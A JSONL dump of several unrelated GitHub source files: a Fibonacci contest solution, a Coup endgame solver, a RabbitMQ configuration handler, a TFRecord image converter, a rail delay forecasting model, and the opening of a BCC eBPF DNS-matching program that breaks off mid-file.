+{"seq_id":"69977455368","text":"import sys\r\nT = int(sys.stdin.readline())\r\n\r\nzero = 0\r\none = 0\r\n\r\nzero_dict = {}\r\none_dict = {}\r\n\r\nfib_list = [0,1]\r\nzero_dict[0] = 1\r\nzero_dict[1] = 0\r\none_dict[0] = 0\r\none_dict[1] = 1\r\n\r\n\r\n\r\n\r\ndef fibonacci(num):\r\n    global zero\r\n    global one\r\n    if(num in fib_list):\r\n        zero += zero_dict[num]\r\n        one += one_dict[num]\r\n        return 0\r\n    elif(num-1 in fib_list and num-2 in fib_list):\r\n        fib_list.append(num)\r\n        zero_dict[num] = zero_dict[num-1] + zero_dict[num-2]\r\n        one_dict[num] = one_dict[num-1] + one_dict[num-2]\r\n        zero += zero_dict[num]\r\n        one += one_dict[num]\r\n        return 0\r\n    else:\r\n        return fibonacci(num-1)+fibonacci(num-2)\r\n\r\nfor i in range(T):\r\n    zero = 0\r\n    one = 0\r\n    N = int(sys.stdin.readline())\r\n    fibonacci(N)\r\n    print(zero, one)\r\n","repo_name":"dainshon/CODING","sub_path":"백준/Silver/1003. 피보나치 함수/피보나치 함수.py","file_name":"피보나치 함수.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"9870586566","text":"import itertools\r\nimport random\r\nimport threading\r\nimport concurrent.futures\r\nimport os\r\n\r\nimport constants\r\nfrom coup_matchup_environment import CoupMatchupEnvironment\r\n\r\n\r\ndef run_matchup(player1_cards, player2_cards, verbose=False):\r\n    matchup_env = CoupMatchupEnvironment(player1_cards, player2_cards)\r\n    matchup_env.solve(verbose=verbose)\r\n    initial_state = matchup_env.get_start_game_state()\r\n\r\n    winner = None\r\n    if initial_state in matchup_env.get_win_region(1):\r\n        winner = 1\r\n    elif initial_state in matchup_env.get_win_region(2):\r\n        winner = 2\r\n\r\n    assert winner is not None, f\"Error with {matchup_env}, no winner found.\"\r\n    return winner, matchup_env.get_policy(1), matchup_env.get_policy(2), matchup_env\r\n\r\n\r\ndef get_game_run(matchup: CoupMatchupEnvironment, policy_1: dict, policy_2: dict):\r\n    \"\"\"\r\n    Returns a list in the form (state, action, state, action...) representing a run of game matchup with the\r\n    given policies.\r\n    :param policy_1: Policy for player 1\r\n    :param policy_2: Policy for player 2\r\n    :param matchup: CoupMatchupEnvironment environment of the game\r\n    :return:\r\n    \"\"\"\r\n    run = list()\r\n    state = matchup.get_start_game_state()\r\n    run.append(state)\r\n\r\n    while state not in matchup.get_goal_states(1) and state not in matchup.get_goal_states(2):\r\n        turn = state[2]\r\n        action = policy_1[state] if turn == 1 else policy_2[state]\r\n        # if action is None that means there is no action for player to win so a random action is selected\r\n        if action is None:\r\n            action = random.choice(CoupMatchupEnvironment.get_enabled_actions(state))\r\n        new_state = CoupMatchupEnvironment.transition(state, action)\r\n        run.extend([action, new_state])\r\n        print(state, action)\r\n        state = new_state\r\n    return run\r\n\r\n\r\ndef get_run_graph(matchup: CoupMatchupEnvironment, pi1: dict, pi2: dict):\r\n    \"\"\"\r\n    Returns a graph in the form graph[state] = list(successor_states) that shows a game run where the player who wins\r\n    takes their optimal action and the player who loses has all possible successor states listed\r\n    \"\"\"\r\n    initial_state = matchup.get_start_game_state()\r\n    graph = dict()\r\n    _get_run_graph(initial_state, graph, matchup, pi1, pi2)\r\n    return graph\r\n\r\n\r\ndef save_run_graph(path: str, graph):\r\n    with open(path, 'w') as file:\r\n        file.write(f\"source,target\\n\")\r\n        for source in graph.keys():\r\n            for target in graph[source]:\r\n                file.write(f\"{str(source).replace(',', '.')},{str(target).replace(',', '.')}\\n\")\r\n\r\n\r\ndef _get_run_graph(initial_state, graph: dict, matchup: CoupMatchupEnvironment, pi1: dict, pi2: dict):\r\n    \"\"\"\r\n    Utility function -- see get_run_graph\r\n    \"\"\"\r\n    state = initial_state\r\n    graph[state] = list()\r\n    if state in matchup.get_goal_states(1) or state in matchup.get_goal_states(2):\r\n        return\r\n    else:\r\n        turn = state[2]\r\n        action = pi1[state] if turn == 1 else pi2[state]\r\n        # if action is None that means there is no action for player to win, so we look at all their possible actions\r\n        if action is None:\r\n            for action in CoupMatchupEnvironment.get_enabled_actions(state):\r\n                new_state = CoupMatchupEnvironment.transition(state, action)\r\n                graph[state].append(new_state)\r\n                if new_state not in graph.keys():\r\n                    _get_run_graph(new_state, graph, matchup, pi1, pi2)\r\n        else:\r\n            new_state = CoupMatchupEnvironment.transition(state, action)\r\n            graph[state].append(new_state)\r\n            _get_run_graph(new_state, graph, matchup, pi1, pi2)\r\n    return\r\n\r\n\r\ndef get_next_states(matchup: CoupMatchupEnvironment, state, pi):\r\n    \"\"\"\r\n    If there is a winning action for the player with strategy pi return the resulting state from taking that action\r\n    otherwise returns a list of all states that can result from any enabled action.\r\n    \"\"\"\r\n    if pi[state] is not None:\r\n        return [matchup.transition(state, pi[state])]\r\n    else:\r\n        return [matchup.transition(state, action) for action in matchup.get_enabled_actions(state)]\r\n\r\n\r\ndef write_to_file(result, file, lock):\r\n    \"\"\"\r\n    Write to a file in a thread safe way\r\n    \"\"\"\r\n    lock.acquire()\r\n    try:\r\n        file.write(f\"{result}\\n\")\r\n    finally:\r\n        lock.release()\r\n\r\n\r\ndef run_experiment(path=\"../data/results.txt\", verbose=False, num_cores=1, overwrite=False):\r\n    \"\"\"\r\n    Evaluate all possible matchups and write the results to the file specified by path\r\n    :param path: Path of file to write results to\r\n    :param verbose: Boolean value indicating whether to print matchup debug info\r\n    :param num_cores: Number of cores to use for parallel processing\r\n    :param overwrite: Whether to overwrite the file at path if it already exists\r\n    \"\"\"\r\n    if os.path.isfile(path) and overwrite is False:\r\n        raise Exception(\r\n            f\"File {path} already exists, if you wish to overwrite it call this function with overwrite=True\")\r\n    if num_cores < 1:\r\n        raise Exception(f\"Error, value of {num_cores} for num_cores not allowed\")\r\n    # Compute combinations of cards since (DUKE,CAPTAIN) is the same as (CAPTAIN,DUKE)\r\n    card_pairs = list(itertools.combinations(constants.CARDS, 2))\r\n    # Add duplicate pairs (CAPTAIN, CAPTAIN), (DUKE,DUKE), etc.\r\n    card_pairs.extend([(card, card) for card in constants.CARDS])\r\n    matchups = list(itertools.product(card_pairs, card_pairs))\r\n    i = 0\r\n    if num_cores == 1:\r\n        with open(path, \"w\") as file:\r\n            for matchup in matchups:\r\n                winner, _, _, _ = run_matchup(matchup[0], matchup[1], verbose=verbose)\r\n                file.write(f\"{matchup[0]},{matchup[1]},{winner}\\n\")\r\n                print(f\"Solved {i + 1}/{len(matchups)} matchups\")\r\n                i += 1\r\n    else:\r\n        max_workers = os.cpu_count() if num_cores > os.cpu_count() else num_cores\r\n        with concurrent.futures.ProcessPoolExecutor(max_workers=max_workers) as executor:\r\n            with open(path, 'w') as file:\r\n                lock = threading.Lock()\r\n                future_results = [executor.submit(run_matchup, matchup[0], matchup[1], verbose=verbose)\r\n                                  for matchup in matchups]\r\n\r\n                i = 0\r\n                for future in concurrent.futures.as_completed(future_results):\r\n                    winner, _, _, matchup = future.result()\r\n                    result = f\"{matchup.player1_cards}, {matchup.player2_cards}, {winner}\"\r\n                    write_to_file(result, file, lock)\r\n                    print(f\"Solved {i + 1}/{len(matchups)} matchups\")\r\n                    i += 1\r\n\r\n\r\ndef main():\r\n    # run_experiment(verbose=False, num_cores=1)\r\n    matchup = CoupMatchupEnvironment((constants.DUKE, constants.ASSASSIN), (constants.AMBASSADOR, constants.AMBASSADOR))\r\n    matchup.solve(verbose=True)\r\n    matchup.save_game_graph_edge_list(path=\"../data/DAvAMAM_full_graph.csv\")\r\n    graph = get_run_graph(matchup, pi1=matchup.get_policy(1), pi2=matchup.get_policy(2))\r\n    save_run_graph(path=\"../data/DAvAMAM_all_runs.csv\", graph=graph)\r\n    matchup.play_game(save_run=True, path=\"../data/DAvAMAM_run.txt\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"matthewScohen/coup_endgame_solving","sub_path":"src/run_experiment.py","file_name":"run_experiment.py","file_ext":"py","file_size_in_byte":7306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40184777702","text":"from http import HTTPStatus\n\nfrom modular_sdk.commons.constants import ApplicationType\nfrom modular_sdk.services.impl.maestro_credentials_service import \\\n    RabbitMQApplicationMeta, RabbitMQApplicationSecret\n\nfrom handlers.abstracts.abstract_handler import AbstractHandler\nfrom helpers import build_response\nfrom helpers.constants import HTTPMethod, \\\n    CUSTOMER_ATTR, MAESTRO_USER_ATTR, RABBIT_EXCHANGE_ATTR, \\\n    REQUEST_QUEUE_ATTR, RESPONSE_QUEUE_ATTR, SDK_ACCESS_KEY_ATTR, \\\n    CONNECTION_URL_ATTR, SDK_SECRET_KEY_ATTR\nfrom helpers.log_helper import get_logger\nfrom models.modular.application import Application\nfrom services import SERVICE_PROVIDER\nfrom services.modular_service import ModularService\nfrom services.ssm_service import SSMService\n\n_LOG = get_logger(__name__)\n\n\nclass RabbitMQHandler(AbstractHandler):\n    def __init__(self, modular_service: ModularService,\n                 ssm_service: SSMService):\n        self._modular_service = modular_service\n        self._ssm_service = ssm_service\n\n    @classmethod\n    def build(cls) -> 'RabbitMQHandler':\n        return cls(\n            modular_service=SERVICE_PROVIDER.modular_service(),\n            ssm_service=SERVICE_PROVIDER.ssm_service()\n        )\n\n    def define_action_mapping(self) -> dict:\n        return {\n            '/customers/rabbitmq': {\n                HTTPMethod.POST: self.post,\n                HTTPMethod.GET: self.get,\n                HTTPMethod.DELETE: self.delete\n            },\n        }\n\n    @staticmethod\n    def get_dto(application: Application) -> dict:\n        \"\"\"\n        Very specific case,\n        :param application:\n        :return:\n        \"\"\"\n        return {\n            CUSTOMER_ATTR: application.customer_id,\n            **application.meta.as_dict()\n        }\n\n    def post(self, event: dict) -> dict:\n        customer = event[CUSTOMER_ATTR]\n        item = next(self._modular_service.get_applications(\n            customer=customer,\n            _type=ApplicationType.RABBITMQ,\n            limit=1,\n            deleted=False\n        ), None)\n        if item:\n            return build_response(\n                code=HTTPStatus.CONFLICT,\n                content='RabbitMQ configuration already exists'\n            )\n        meta = RabbitMQApplicationMeta(\n            maestro_user=event[MAESTRO_USER_ATTR],\n            rabbit_exchange=event.get(RABBIT_EXCHANGE_ATTR),\n            request_queue=event[REQUEST_QUEUE_ATTR],\n            response_queue=event[RESPONSE_QUEUE_ATTR],\n            sdk_access_key=event[SDK_ACCESS_KEY_ATTR]\n        )\n        name = self._ssm_service.save_data(\n            name=f'{customer}-rabbitmq-configuration',\n            value=RabbitMQApplicationSecret(\n                connection_url=event[CONNECTION_URL_ATTR],\n                sdk_secret_key=event[SDK_SECRET_KEY_ATTR]\n            ).dict(),\n            prefix='caas'\n        )\n        application = self._modular_service.create_application(\n            customer=customer,\n            _type=ApplicationType.RABBITMQ,\n            description='RabbitMQ configuration for Custodian',\n            meta=meta.dict(),\n            secret=name\n        )\n        _LOG.info('Saving application item')\n        self._modular_service.save(application)\n        return build_response(content=self.get_dto(application))\n\n    def get(self, event) -> dict:\n        customer = event[CUSTOMER_ATTR]\n        application = next(self._modular_service.get_applications(\n            customer=customer,\n            _type=ApplicationType.RABBITMQ,\n            limit=1,\n            deleted=False\n        ), None)\n        if not application:\n            return build_response(\n                code=HTTPStatus.NOT_FOUND,\n                content=f'RabbitMQ configuration not found'\n            )\n        return build_response(content=self.get_dto(application))\n\n    def delete(self, event) -> dict:\n        customer = event[CUSTOMER_ATTR]\n        application = next(self._modular_service.get_applications(\n            customer=customer,\n            _type=ApplicationType.RABBITMQ,\n            limit=1,\n            deleted=False\n        ), None)\n        if not application:\n            return build_response(code=HTTPStatus.NO_CONTENT)\n        erased = self._modular_service.delete(application)\n        if not erased:\n            return build_response(\n                code=HTTPStatus.BAD_REQUEST,\n                content='Could not remove the application. '\n                        'Probably it\\'s used by some parents.'\n            )\n        # erased\n        if application.secret:\n            _LOG.info(f'Removing application secret: {application.secret}')\n            if not self._ssm_service.delete_secret(application.secret):\n                _LOG.warning(f'Could not remove secret: {application.secret}')\n        # Modular sdk does not remove the app, just sets is_deleted\n        self._modular_service.save(application)\n        return build_response(code=HTTPStatus.NO_CONTENT)\n","repo_name":"epam/ecc","sub_path":"src/handlers/rabbitmq_handler.py","file_name":"rabbitmq_handler.py","file_ext":"py","file_size_in_byte":4937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14525588619","text":"# coding: utf-8\n# author: Fengzhijin\n# time: 2017.12.5\n# ==================================\n'''\n实现了将车牌字符识别数据集源文件转换成tfrecords文件\n1._int64_feature() - int64数据转换函数\n2._bytes_feature() - 二进制字符串转换函数\n3.convert_to() - tfrecords文件生成函数\n'''\n\nfrom PIL import Image\nimport os\nimport tensorflow as tf\n\n\nclasses_zimu = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E', 5: 'F', 6: 'G', 7: 'H',\n                8: 'J', 9: 'K', 10: 'L', 11: 'M', 12: 'N', 13: 'P', 14: 'Q',\n                15: 'R', 16: 'S', 17: 'T', 18: 'U', 19: 'V', 20: 'W', 21: 'X',\n                22: 'Y', 23: 'Z'}\nclasses_hanzi = {24: '藏', 25: '川', 26: '鄂', 27: '甘', 28: '赣', 29: '广', 30: '桂',\n                 31: '贵', 32: '黑', 33: '沪', 34: '吉', 35: '冀', 36: '津', 37: '晋',\n                 38: '京', 39: '辽', 40: '鲁', 41: '蒙', 42: '闽', 43: '宁', 44: '青',\n                 45: '琼', 46: '陕', 47: '苏', 48: '皖', 49: '湘', 50: '新', 51: '渝',\n                 52: '豫', 53: '粤', 54: '云', 55: '浙'}\nclasses_shuzi = {56: '0', 57: '1', 58: '2', 59: '3', 60: '4', 61: '5', 62: '6',\n                 63: '7', 64: '8', 65: '9'}\nclasses = ['字母', '汉字', '数字']\nvalidation_size = 630\ntrain_size = 17819\nsize = 18449\n\n\ndef _int64_feature(value):\n    return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\ndef _bytes_feature(value):\n    return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\n\ndef _float_feature(value):\n    return tf.train.Feature(bytes_list=tf.train.FloatList(value=[value]))\n\n\ndef convert_to():\n    cwd = '../测试图像集/'\n    # writer_train = tf.python_io.TFRecordWriter('../data/tfrecords/train.tfrecords')\n    # writer_validation = tf.python_io.TFRecordWriter('../data/tfrecords/validation.tfrecords')\n    writer_test = tf.python_io.TFRecordWriter('../data/tfrecords/test.tfrecords')\n    sum = 0\n    for i in classes:\n        if i == '字母':\n            classes_1 = classes_zimu\n        elif i == '汉字':\n            classes_1 = classes_hanzi\n        elif i == '数字':\n            classes_1 = classes_shuzi\n        for index in classes_1:\n            class_path = cwd + i + '/' + classes_1[index] + '/'\n            print(\"写入\"+classes_1[index]+\"数据\")\n            # sum_validation = 0\n            # sum_train = 0\n            for img_name in os.listdir(class_path):\n                img_path = class_path + img_name\n                image = Image.open(img_path)\n                image = image.resize((24, 48))\n                image_raw = image.tobytes()\n                example = tf.train.Example(features=tf.train.Features(feature={\n                    'label': _int64_feature(int(index)),\n                    'image_raw': _bytes_feature(image_raw)}))\n                # if (sum < 10):\n                #     sum_validation += 1\n                #     writer_validation.write(example.SerializeToString())\n                # elif (sum >= 10):\n                #     sum_train += 1\n                #     writer_train.write(example.SerializeToString())\n                writer_test.write(example.SerializeToString())\n                sum += 1\n            # print(\"sum_validation = %d\" % sum_validation)\n            # print(\"sum_train = %d\" % sum_train)\n    # writer_train.close()\n    # writer_validation.close()\n    print(\"sum = %d\" % sum)\n    writer_test.close()\n\n\nif __name__ == \"__main__\":\n    convert_to()\n","repo_name":"m-L-0/17b-FengZhijin-2015","sub_path":"Vehicle_License_Plate_Recognition/code/to_tfrecord.py","file_name":"to_tfrecord.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36647747719","text":"import os\nimport random\nimport time\nfrom datetime import timedelta\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.data as utils\nimport torch_geometric.transforms as T\nfrom torch.autograd import Variable\nfrom torch.nn.parameter import Parameter\nfrom torch_geometric.data import DataLoader\nfrom torch_geometric.nn import GATConv, GCNConv, GINConv, MessagePassing, SAGEConv\nfrom torch_geometric.nn.inits import glorot, zeros\nfrom torch_geometric.utils import add_remaining_self_loops\nfrom torch_scatter import scatter_add\n\nfrom cargonet.dataset.activeroutesv1 import ActiveRoutesV1\nfrom cargonet.dataset.simulator import Simulation\nfrom cargonet.models.eval.losses import LossCollector, MAELoss\nfrom cargonet.models.gtcn import ActiveRoutesModelTCN\nfrom cargonet.models.model import MLModel\nfrom cargonet.models.normalization import MinMaxScaler, Scaler, ZScoreScaler\nfrom cargonet.models.sociallstm import ActiveRoutesModelLSTM, ActiveRoutesModelLSTMGAT\nfrom cargonet.models.stgcnv1 import ActiveRoutesModelSTGCNV1\nfrom cargonet.visualization.delays import DelayProgressPlot\n\nclass ActiveRoutesModelV1(MLModel):\n    \n    @property\n    def model_state_path(self):\n        # # \"_stateful\" if self.use_rnn else \"\"\n        return os.path.join(self.trained_model_dir, self.name + (\n            \"_sim\" if self.simulation else \"\"\n        ) + \".pt\")\n\n    def __init__(\n        self,\n        dataset,\n        node_input_dim,\n        edge_input_dim,\n        output_size=1,\n        seq_len=3,\n        pred_seq_len=3,\n        # rnn_size=64 + 16,\n        rnn_size=64 + 16,\n        use_rnn=False,\n        dropout=0.1, # 4,  # .3,\n        # dropout=0.6 , # 0.3\n        # embedding_size=32,\n        # embedding_size=64,\n        embedding_size=64,\n        lr=0.001,\n        l1_reg=0.00, # 0001, #0001, #.01, # 0001,\n        weight_decay=0.001,\n        max_transports=1000,\n        grad_clip=False,\n        shuffle_after_split=None,\n        **kwargs\n    ):\n        shuffle_after_split = (not use_rnn) if (shuffle_after_split is None) else shuffle_after_split\n        super().__init__(dataset, \n            l1_reg=l1_reg, shuffle_after_split=shuffle_after_split, **kwargs) # chunks=2,\n        \n        self.use_rnn = use_rnn\n        self.name = self.name + (\"_stateful\" if self.use_rnn else \"\")\n        self.node_input_dim = node_input_dim\n        self.edge_input_dim = edge_input_dim\n        self.rnn_size = rnn_size\n        self.dropout = dropout\n        self.grad_clip = grad_clip\n        self.embedding_size = embedding_size\n        self.max_transports = max_transports\n        \n\n        self.output_size = output_size\n        self.seq_len = seq_len\n        self.pred_seq_len = pred_seq_len\n\n        net = self.dataset.net.to(self.device)\n        self.model = ActiveRoutesModelTCN(\n            device=self.device,\n            input_dim=self.node_input_dim,\n            output_size=self.output_size,\n            seq_len=self.seq_len,\n            pred_seq_len=self.pred_seq_len,\n            rnn_size=self.rnn_size,\n            use_rnn=self.use_rnn,\n            dropout=self.dropout,\n            embedding_size=self.embedding_size,\n            max_transports=self.max_transports,\n        ).to(self.device)\n\n        self.net = self.dataset.net.to(self.device)\n        self.loss = torch.nn.MSELoss()\n        # self.loss = MAELoss()\n\n        \"\"\"\n        self.optimizer = torch.optim.AdamW([\n            dict(params=self.model.encoder.parameters(), lr=lr, weight_decay=weight_decay),\n            dict(params=self.model.stgblock.parameters(), lr=lr, weight_decay=weight_decay),\n            dict(params=self.model.start_conv.parameters(), lr=lr, weight_decay=weight_decay),\n            dict(params=self.model.final_conv.parameters(), lr=lr, weight_decay=weight_decay),\n            dict(params=self.model.ground_encoder.parameters(), lr=lr, weight_decay=weight_decay),\n            dict(params=self.model.ground_sync.parameters(), lr=lr, weight_decay=weight_decay),\n            dict(params=self.model.ground_sync2.parameters(), lr=lr, weight_decay=weight_decay),\n            dict(params=self.model.cell.parameters(), lr=0.00001, weight_decay=0.1),\n            # self.model.parameters(), lr=lr, weight_decay=weight_decay\n        ])  # lr=0.0001\n        \"\"\"\n        self.optimizer = torch.optim.AdamW(self.model.parameters(), lr=lr, weight_decay=weight_decay)\n        # self.optimizer = torch.optim.SGD(self.model.parameters(), lr=0.001) # , weight_decay=0)\n        # self.optimizer = torch.optim.SGD(self.model.parameters(), lr=0.000000001, weight_decay=1.0)\n        # self.optimizer = torch.optim.RMSprop(self.model.parameters(), lr=lr, weight_decay=weight_decay)\n        # optimizer = torch.optim.Adagrad(net.parameters(), weight_decay=args.lambda_param)\n        # optimizer = torch.optim.Adam(net.parameters(), weight_decay=args.lambda_param)\n\n        self.lr_scheduler = None\n        # self.lr_scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(self.optimizer, 'min', verbose=True)\n        \n    def init_rnn_state(self):\n        net_size = self.dataset.net.x.size(0)\n        net_state_hidden = torch.autograd.Variable(torch.zeros(net_size, self.rnn_size), requires_grad=False).to(\n            self.device\n        )\n        net_cell_states = torch.autograd.Variable(torch.zeros(net_size, self.rnn_size), requires_grad=False).to(self.device)\n        return net_state_hidden, net_cell_states\n\n    def feed(self, data, net_state_hidden=None, net_cell_states=None):\n        x = data.x\n        y = data.y\n        \n        net_size = self.net.x.size(0)\n        if net_state_hidden is None:\n            net_state_hidden = Variable(torch.zeros(net_size, self.rnn_size))\n        if net_cell_states is None:\n            net_cell_states = Variable(torch.zeros(net_size, self.rnn_size))\n\n        net_state_hidden = net_state_hidden.to(self.device)\n        net_cell_states = net_cell_states.to(self.device)\n\n        outputs, net_state_hidden, net_cell_states = self.model(\n            data,\n            self.net,\n            net_state_hidden,\n            net_cell_states,\n            data.num_transports,\n            data.transport_mask,\n            data.current_transports,\n        )\n        outputs = outputs\n        expected = y.view(-1, self.pred_seq_len)\n        if self.denormalize:\n            delay_index = -1\n            outputs = self.tf.inverse_zscore(\n                outputs,\n                mean=self.tf.means[\"x\"][delay_index],\n                std=self.tf.stds[\"x\"][delay_index]\n            )\n            expected = self.tf.inverse_zscore(\n                expected,\n                mean=self.tf.means[\"x\"][delay_index],\n                std=self.tf.stds[\"x\"][delay_index]\n            )\n        \n        # print(expected.shape, outputs.shape)\n        assert expected.shape == outputs.shape\n        \n        return outputs, expected, net_state_hidden, net_cell_states\n\n\ndef train_model(\n    plot,\n    limit=1,\n    epochs=100,\n    reprocess=False,\n    redownload=False,\n    device=None,\n    train=False,\n    bptt=False,\n    evaluate=True,\n):\n\n    torch.cuda.empty_cache()\n    if device:\n        print(\"Using\", device)\n    print(\"bptt\", bptt)\n\n    base_path = os.path.dirname(os.path.realpath(__file__))\n    dataset_base_path = os.path.join(base_path, \"../../datasets\")\n    models_base_path = os.path.join(base_path, \"../../trained\")\n    assert os.path.exists(dataset_base_path)\n    assert os.path.exists(models_base_path)\n\n    dataset_name = \"active-routes-v1\"\n    dataset_path = os.path.join(dataset_base_path, dataset_name)\n\n    simulation_dataset_name = \"simulation-v1\"\n    simulation_dataset_path = os.path.join(dataset_base_path, simulation_dataset_name)\n\n    ds_options = dict(seq_len=10, pred_seq_len=10,)\n    batch_hours = 7 * 24 # 1 Week\n\n    use_simulation = False\n\n    if use_simulation:\n        dataset = Simulation(\n            root=simulation_dataset_path,\n            name=simulation_dataset_name,\n            limit=32 * 10 * 2,\n            force_reprocess=reprocess,\n            **ds_options\n        )\n    else:\n        dataset = ActiveRoutesV1(\n            root=dataset_path,\n            name=dataset_name,\n            limit=limit,\n            batch=timedelta(hours=batch_hours),\n            force_reprocess=reprocess,\n            force_redownload=redownload,\n            **ds_options\n        )\n\n    denormalize = False\n    model_options = dict(\n        node_input_dim=len(dataset.encoder.seq_route_node_fts),\n        edge_input_dim=len(dataset.encoder.route_edge_fts),\n        simulation=use_simulation,\n        denormalize=denormalize,\n    )\n\n    def normalize_func(data, means, stds, **kwargs):\n        data.x = Scaler.zscore(data.x, mean=means[\"x\"], std=stds[\"x\"])\n        if denormalize:\n            delay_index = -1\n            data.y = Scaler.zscore(data.y, mean=means[\"x\"][delay_index], std=stds[\"x\"][delay_index])\n        data.temporal_edge_attr = Scaler.zscore(\n            data.temporal_edge_attr,\n            mean=means[\"temporal_edge_attr\"],\n            std=stds[\"temporal_edge_attr\"],\n        )\n        assert not torch.isnan(data.temporal_edge_attr).any()\n        assert not torch.isnan(data.x).any()\n        return data\n\n    # Initialize model\n    model = ActiveRoutesModelV1(\n        dataset, device=device, shuffle=False, loader_batch_size=1, use_rnn=bptt,\n        shuffle_after_split=None if not use_simulation else (not bptt),\n        **ds_options, **model_options\n    )\n\n    print(\"fitting normalization\")\n    cache = \"%s_norm_%d_%d\" % (dataset.name, batch_hours, limit)\n    z_score_norm = Scaler.fit(\n        model.train_data,\n        normalize=normalize_func,\n        attrs=dict(temporal_edge_attr=1, x=1, y=1,),\n        cache=cache\n    )\n    model.dataset.transform = z_score_norm\n    model.init_loaders()\n    print(\"done fitting normalization\")\n\n    # Train\n    if train:\n        if bptt:\n            train_losses = model.bptt_train(epochs=epochs)\n        else:\n            train_losses = model.train(epochs=epochs)\n        model.save()\n        if train_losses:\n            # Plot loss curve\n            plt.plot(train_losses)\n            plt.savefig(\n                os.path.join(models_base_path, model.name + \"_loss.pdf\"),\n                format=\"pdf\",\n                dpi=600,\n            )\n    else:\n        # Load the model\n        try:\n            model.load()\n        except FileNotFoundError:\n            print(\"No trained model to load. Train one first using --train\")\n\n    if evaluate:\n        print(\"Avaluating \")\n        val_accs, val_losses = model.test()\n        print(LossCollector.format(val_losses))\n        plot_len = 400\n        model.plot_primitive_prediction(\n            \"val\", val_losses[\"ys\"][-plot_len:], val_losses[\"xs\"][-plot_len:]\n        )\n\n    return\n    if evaluate:\n        print(\"Evaluating model...\")\n        val_acc, val_loss = model.test(plot=plot)\n        print(\"Validation acc:\", val_acc.view(-1))\n        print(\"Validation MSE loss: {:.4f}\".format(val_loss))\n        print(\"Mean validation acc: {:.4f}\".format(val_acc.mean().item()))\n        return\n\n        from cargonet.models.predictor import AvgDelayV1Predictor\n        from cargonet.visualization.delays import plot_station_delay_progress\n\n        p = AvgDelayV1Predictor(model=model, dataset=dataset)\n\n        for d, sample in enumerate(dataset[:1]):\n            pred = model.predict(sample)\n            for s in range(0, 3):\n                # continue\n                plt.plot(\n                    range(0, 10),\n                    sample.x[:, s, 0].cpu().detach().numpy(),\n                    color=\"black\",\n                )\n                plt.plot(\n                    range(10, 12),\n                    sample.y[:, s, 0].repeat(2, 1).cpu().detach().numpy(),\n                    color=\"blue\",\n                    linestyle=\"solid\",\n                )\n                plt.plot(\n                    range(10, 12),\n                    pred.T[s, 0].repeat(2, 1).cpu().detach().numpy(),\n                    color=\"red\",\n                    linestyle=\"dashed\",\n                )\n                plt.show()\n\n        return\n\n        node_max = 1000\n        node_batch = 1000\n        time_batch = 1000\n        for b in range(0, dataset.number_of_nodes, node_batch):\n            for t in range(0, len(dataset), time_batch):\n                if node_max <= b:\n                    return\n\n                ds = dataset[t : t + time_batch]\n                # Ground truth\n                station_delays = torch.zeros(time_batch, node_batch, dtype=torch.float)\n                print(station_delays.shape)\n                for d, sample in enumerate(ds):\n                    station_delays[d] = sample.x.view(-1)[b : b + node_batch].detach()\n\n                plt.plot(station_delays[:, i].cpu().detach().numpy(), color=\"red\")\n                plt.show()\n\n                # Predict\n                preds = p.compare_predictions(\n                    dataset=ds, b=b, time_batch=time_batch, node_batch=node_batch\n                )\n\n                for edge, i in dataset.mapping.items():\n                    u, v = edge\n\n                    i -= node_batch\n                    if not i in range(node_batch):\n                        continue\n\n                    test = station_delays[:, i]\n                    print(test.mean(), test.min(), test.max())\n                    if station_delays[:, i].max() <= 0:\n                        continue\n\n                    plot_station_delay_progress(\n                        u,\n                        v,\n                        dataset,\n                        timeseries=[\n                            dict(\n                                times=dataset.timerange[t : t + time_batch],\n                                values=station_delays[:, i].cpu().detach().numpy(),\n                                label=\"Ground truth\",\n                                style=\"solid\",\n                                color=\"black\",\n                            ),\n                            dict(\n                                times=dataset.prediction_timerange[t : t + time_batch],\n                                values=preds[:, i].cpu().detach().numpy(),\n                                label=\"Prediction [1]\",\n                                style=\"dashed\",\n                                color=\"blue\",\n                            ),\n                        ],\n                    )\n","repo_name":"romnn/rail-stgcnn","sub_path":"cargonet/models/activeroutesv1.py","file_name":"activeroutesv1.py","file_ext":"py","file_size_in_byte":14425,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"16951769562","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\nfrom bcc import BPF\nfrom ctypes import *\n\ndef encode_dns(name):\n  if len(name) + 1 > 255:\n    raise Exception(\"DNS Name too long.\")\n  b = bytearray()\n  for element in name.split('.'):\n    sublen = len(element)\n    if sublen > 63:\n      raise ValueError('DNS label %s is too long' % element)\n    b.append(sublen)\n    b.extend(element.encode('ascii'))\n  b.append(0)  # Add 0-len octet label for the root server\n  return b\n\n\ndef add_entry(table, value):\n  key = table.Key()\n  key_len = len(key.p)\n  name_buffer = encode_dns(value)\n  # Pad the buffer with null bytes if it is too short\n  name_buffer.extend((0,) * (key_len - len(name_buffer)))\n  key.p = (c_ubyte * key_len).from_buffer(name_buffer)\n  leaf = table.Leaf()\n  leaf.p = (c_ubyte * 4).from_buffer(bytearray(4))\n  table[key] = leaf\n\ntext =\"\"\"\n#include <uapi/linux/bpf.h>\n#include <uapi/linux/if_ether.h>\n#include <uapi/linux/if_packet.h>\n#include <uapi/linux/ip.h>\n#include <uapi/linux/in.h>\n#include <uapi/linux/udp.h>\n#include <bcc/proto.h>\n\nstruct Key {\n  unsigned char p[255];\n};\n\nstruct Leaf {\n  // Not really needed in this example\n  unsigned char p[4];\n};\n\nstruct dns_char_t\n{\n    char c;\n} BPF_PACKET_HEADER;\n\nBPF_HASH(test, struct Key, struct Leaf, 128);\n\nint 